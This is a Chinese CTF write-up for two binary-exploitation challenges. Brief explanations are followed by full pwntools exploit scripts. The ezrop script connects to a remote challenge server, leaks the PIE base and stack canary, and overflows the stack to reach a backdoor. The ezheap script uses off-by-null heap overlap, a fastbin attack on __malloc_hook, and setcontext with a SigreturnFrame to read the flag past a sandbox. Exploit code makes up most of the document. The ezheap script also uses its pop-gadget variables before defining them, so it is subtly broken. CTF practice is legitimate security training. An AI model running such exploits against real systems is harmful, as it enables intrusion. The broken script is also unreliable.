ezrop
分析:
main函数中存在格式化字符串漏洞和栈溢出。但是这题开了PIE和canary,所以还需要leak canary和pie基址。
我是利用格式化字符串去读的__libc_csu_init+77这个地址,然后利用puts把canary带出来。
接下来的rop就没什么好说的了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * context.log_level = 'debug'
p = remote('47.109.18.98', 9128) elf = ELF('./pwn')
pay = b'%15$p' p.recvline() p.send(pay) p.recvuntil('exit\n') p.sendline('3') p.recv(2) base_info = int(p.recv(12), 16) base = base_info-77-elf.symbols['__libc_csu_init'] magic = base + elf.symbols['backdoor'] print(hex(magic))
pay = b'a'*0x58 p.recvuntil('exit\n') p.sendline('1') p.sendline(pay) p.recvuntil('exit\n')
p.sendline('2') p.recvuntil('aaa\n') canary = u64(b'\x00' + p.recv(7)) print(hex(canary)) p.recvuntil('exit\n') p.sendline('1') pay = b'a'*0x58 + p64(canary) + p64(0) + p64(magic) p.sendline(pay)
p.interactive()
|
ezheap
分析:
有创建,show,删除这三个功能,在创建的时候必须输入信息,但是存在off by null,所以可以去造成overlap。然后比较值得注意的是sub_F5A()这个函数,在选择的时候输入0x196082可以进去。这个函数的问题待会儿再说。
这道题的show是用puts()来实现的,而create的时候,原来的信息必然会被\x00截断,所以还是需要构造overlap来leak。(因为这题不仅要leak libcbase,还要leak heapbase,所以我就弄了个挺大的overlap,方便里面的unsorted chunk被放到largebin里带出来heapbase)
因为题目使用的是libc-2.23,所以在unlink的时候不会检查prev_size和前面的size是否相同,所以只需要伪造好prev_size,然后利用off by null取消掉可以溢出到的那个chunk的prev_inuse bit,然后free触发unlink。但是要注意的是,需要先free掉prev_size指向的那个chunk,让他的p->fd = &p, p->bk = &p来绕过unlink的检查
再接下来要做的就是,让这个大的unsortedbin被切割,然后让fd和fd_nextsize处于可以被puts打印出来的位置。(要注意放入largebin的条件)
要注意,泄露出来的这些地址最低位一定不要是\x00,不然puts()还是会出问题。
拿到两个base之后,考虑进攻手段。
由于开了Full RELRO,got表不可写,所以只能想办法改malloc hook或者free hook。
然后又用了两个prctl()开启了沙箱,所以只能用setcontext配合SigreturnFrame来将调用栈迁移到堆上,然后orw读flag了。
要用setcontext的话,一般都是去劫持__free_hook,free的时候rdi刚好就在目标chunk那里。但是这题我调了很久,也没发现在free hook附近有可以用的fake chunk。
这让我一度想用unsortedbin attack去劫持_IO_list_all然后伪造vtable(不)
后来在出题人的好心提醒下,我发现__malloc_hook前面是可以用来伪造fake chunk的,所以还是可以fastbin attack去让他指向setcontext+53。但是就又会有一个问题,如果用malloc hook,那么如何控制rdi指向我布置好的SigreturnFrame呢?
这里就要请到刚刚我提到的那个sub_F5A()了。
没错,这里有一个atoll(),他的内部会调用strtoll等函数,然后最终rdi将被赋值为这个size的值。
所以这个时候,只需要输入SigreturnFrame的地址,就能成功让setcontext+53起作用了。
接下来就很简单了。我是将rip指向一个ret,然后rsp指向布置好的orw的rop,然后就能把flag读出来了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| from pwn import * context(os='linux', arch='amd64', log_level='debug') elf = ELF('./ezheap') libc = ELF('./libc-2.23.so')
p = process('./ezheap')
def choice(idx): p.recvuntil('>>> ') p.sendline(str(idx)) sleep(0.1)
def create(sz, content): choice(1) p.recvuntil('size:\n') p.sendline(str(sz)) p.recvuntil('content:\n') p.sendline(content)
def show(idx): choice(3) p.recvline() p.sendline(str(idx))
def delete(idx): choice(4) p.recvline() p.sendline(str(idx))
create(0xf8, 'AAAA') create(0x208, 'BBBB') create(0x2f8, 'CCCC') create(0x68, 'DDDD') create(0xf8, 'EEEE') create(0x68, 'FFFF') delete(3) pay = b'a'*0x60 + p64(0x680) create(0x68, pay) delete(0) delete(4) create(0xe8, 'AAAA') create(0x400, 'BBBB') create(0x100, 'CCCC') show(1) heapbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) - 0xf0 show(3) libcbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) - 0x3c4b78 print(hex(heapbase)) print(hex(libcbase)) setcontext = libcbase + libc.symbols['setcontext'] + 53 malloc_hook = libcbase + libc.symbols['__malloc_hook'] open_addr = libcbase + libc.symbols['open'] write_addr = libcbase + libc.symbols['write'] read_addr = libcbase + libc.symbols['read'] print(hex(setcontext)) print(hex(malloc_hook)) delete(0) delete(4) pay = b'a'*0xf0 + p64(0) + p64(0x71) + b'a'*0x60 + p64(0) + p64(0x71) create(0x400, pay) delete(1) delete(0) fake_chunk = malloc_hook-0x23
pay = b'a'*0xf0 + p64(0) + p64(0x71) + p64(fake_chunk) create(0x200, pay) create(0x68, 'AAAA')
def func(funcname, arg1, arg2, arg3): pay = p64(pop_rdi) + p64(arg1) pay += p64(pop_rsi) + p64(arg2) pay += p64(pop_rdx) + p64(arg3) pay += p64(funcname) return pay
flag_str = heapbase + 0x710 pay = func(open_addr, flag_str, 0, 0) pay += func(read_addr, 3, heapbase, 0x30) pay += func(write_addr, 1, heapbase, 0x30) pay = pay.ljust(0xf0, b'\x00') pay += b'flag\x00' delete(0) create(0x110, pay)
pop_rdi = libcbase + 0x0000000000021112 pop_rsi = libcbase + 0x00000000000202f8 pop_rdx = libcbase + 0x0000000000001b92 ret = libcbase + 0x0000000000000937
frame = SigreturnFrame() frame.rsp = heapbase + 0x620 frame.rip = ret
print(hex(len(bytes(frame)))) create(0x110, bytes(frame))
pay = b'a'*0x13 + p64(setcontext) create(0x68, pay)
p.recvuntil('>>>') p.send('1663106') p.recvuntil('size:') p.send(str(heapbase+0x10))
p.interactive()
|